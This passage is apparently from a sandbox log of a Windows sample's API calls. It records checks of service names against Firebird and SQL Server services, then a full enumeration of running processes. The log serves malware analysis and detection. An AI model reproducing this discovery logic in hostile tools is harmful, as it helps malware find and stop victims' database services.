(lpString="PcaSvc") returned 6 [0200.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0200.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0200.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0200.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0200.353] lstrlenW (lpString="PlugPlay") returned 8 [0200.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0200.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0200.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0200.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0200.353] lstrlenW (lpString="Power") returned 5 [0200.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0200.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0200.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0200.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0200.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0200.353] lstrlenW (lpString="ProfSvc") returned 7 [0200.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0200.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0200.354] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0200.354] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0200.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0200.354] lstrlenW (lpString="RpcEptMapper") returned 12 [0200.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0200.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0200.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0200.354] lstrlenW (lpString="RpcSs") returned 5 [0200.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0200.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0200.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0200.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0200.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0200.354] lstrlenW (lpString="SamSs") returned 5 [0200.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0200.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0200.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0200.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0200.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0200.354] lstrlenW (lpString="Schedule") returned 8 [0200.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0200.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0200.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0200.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0200.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0200.354] lstrlenW (lpString="SecurityHealthService") returned 21 [0200.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0200.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0200.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0200.355] lstrlenW (lpString="SENS") returned 4 [0200.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0200.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0200.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0200.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0200.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0200.355] lstrlenW (lpString="ShellHWDetection") returned 16 [0200.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0200.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0200.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0200.355] lstrlenW (lpString="Spooler") returned 7 [0200.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0200.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0200.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0200.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0200.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0200.355] lstrlenW (lpString="SSDPSRV") returned 7 [0200.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0200.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0200.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0200.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0200.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0200.355] lstrlenW (lpString="StateRepository") returned 15 [0200.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0200.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0200.355] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0200.355] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0200.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0200.356] lstrlenW (lpString="SysMain") returned 7 [0200.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0200.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0200.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0200.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0200.356] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fea38 | out: hHeap=0x790000) returned 1 [0200.356] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0 [0200.359] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.360] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.361] lstrlenW (lpString="System") returned 6 [0200.361] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.361] lstrlenW (lpString="smss.exe") returned 8 [0200.361] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.362] lstrlenW (lpString="csrss.exe") returned 9 [0200.362] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0200.363] lstrlenW (lpString="wininit.exe") returned 11 [0200.363] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.363] lstrlenW (lpString="csrss.exe") returned 9 [0200.364] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.364] lstrlenW (lpString="winlogon.exe") returned 12 [0200.364] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.365] lstrlenW (lpString="services.exe") returned 12 [0200.365] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0200.366] lstrlenW (lpString="lsass.exe") returned 9 [0200.366] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.367] lstrlenW (lpString="svchost.exe") returned 11 [0200.367] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.367] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.367] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.368] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.368] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.369] lstrlenW (lpString="svchost.exe") returned 11 [0200.369] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0200.369] lstrlenW (lpString="dwm.exe") returned 7 [0200.369] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.370] lstrlenW (lpString="svchost.exe") returned 11 [0200.370] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.371] lstrlenW (lpString="svchost.exe") returned 11 [0200.371] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.372] lstrlenW (lpString="svchost.exe") returned 11 [0200.372] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.372] lstrlenW (lpString="svchost.exe") returned 11 [0200.372] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.373] lstrlenW (lpString="svchost.exe") returned 11 [0200.373] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.374] lstrlenW (lpString="svchost.exe") returned 11 [0200.374] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.374] lstrlenW (lpString="svchost.exe") returned 11 [0200.375] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.375] lstrlenW (lpString="svchost.exe") returned 11 [0200.375] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.376] lstrlenW (lpString="svchost.exe") returned 11 [0200.376] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0200.377] lstrlenW (lpString="spoolsv.exe") returned 11 [0200.377] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.377] lstrlenW (lpString="svchost.exe") returned 11 [0200.377] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.378] lstrlenW (lpString="svchost.exe") returned 11 [0200.378] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0200.379] lstrlenW (lpString="audiodg.exe") returned 11 [0200.379] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0200.379] lstrlenW (lpString="sihost.exe") returned 10 [0200.379] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.380] lstrlenW (lpString="svchost.exe") returned 11 [0200.380] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0200.381] lstrlenW (lpString="taskhostw.exe") returned 13 [0200.381] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0200.382] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0200.382] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0200.382] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0200.382] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0200.383] lstrlenW (lpString="explorer.exe") returned 12 [0200.383] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0200.384] lstrlenW (lpString="Memory Compression") returned 18 [0200.384] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0200.384] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0200.384] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0200.385] lstrlenW (lpString="SearchUI.exe") returned 12 [0200.385] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0200.386] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0200.386] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.386] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.387] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0200.388] lstrlenW (lpString="entering.exe") returned 12 [0200.388] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0200.388] lstrlenW (lpString="literally.exe") returned 13 [0200.388] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0200.389] lstrlenW (lpString="prep.exe") returned 8 [0200.389] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0200.390] lstrlenW (lpString="homeless.exe") returned 12 [0200.390] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0200.390] lstrlenW (lpString="tips.exe") returned 8 [0200.391] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0200.391] lstrlenW (lpString="rhode_cow.exe") returned 13 [0200.391] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0200.392] lstrlenW (lpString="discount.exe") returned 12 [0200.392] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0200.393] lstrlenW (lpString="littleclosest.exe") returned 17 [0200.393] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0200.393] lstrlenW (lpString="compact.exe") returned 11 [0200.393] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0200.394] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0200.394] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0200.395] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0200.395] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0200.395] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0200.395] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0200.396] lstrlenW (lpString="vincentkills.exe") returned 16 [0200.396] Process32NextW (in: hSnapshot=0x2a0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, 